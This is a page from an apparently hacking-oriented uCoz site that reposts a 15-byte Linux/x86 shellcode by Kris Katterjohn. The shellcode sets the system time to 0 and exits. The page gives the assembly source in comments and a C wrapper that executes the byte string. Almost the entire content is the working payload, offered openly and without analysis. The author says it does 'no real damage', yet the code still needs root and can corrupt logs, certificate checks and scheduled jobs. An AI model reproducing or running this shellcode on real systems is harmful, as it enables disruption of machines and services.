Sunday, 2018-11-18, 6:21 PM
www.pchack.ucoz.org HomeSign UpLog In
Welcome Guest | RSS
Chat Box
Our poll
Sayt bəyəndiniz
Total of answers: 8
Statistics

Total online: 1
Guests: 1
Users: 0
 Каталог сайтов 
Home » Site Catalog » Computers

linux/x86 set system time to 0 and exit 15 bytes
http://linux/x86 set system time to 0 and exit 15 bytes 2008-09-08, 8:59 AM
/* By Kris Katterjohn 11/14/2006
*
* 15 byte shellcode to set system time to 0 and exit. No real damage :)
*
* exit() code is the last 5 bytes (0x6a - 0x80)
*
* for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; stime([0])
*
* push byte 25

pop eax
* xor ecx, ecx
* push ecx
* mov ebx, esp
* int 0x80
*
* ; exit()
* push byte 1
* pop eax
* int 0x80
*/

main()
{
char shellcode[] =
"\x6a\x19\x58\x31\xc9\x51\x89\xe3\xcd\x80\x6a\x01\x58\xcd\x80";

(*(void (*)()) shellcode)();
}
Transitions: 129 | Added by: pchack | Rating: 0.0/0
Total comments: 0
Name *:
Email *:
Code *:
Log In
Search
Site friends
  • Official Blog
  • uCoz Community
  • FAQ
  • Textbook
  • Copyright MyCorp © 2018Powered by uCoz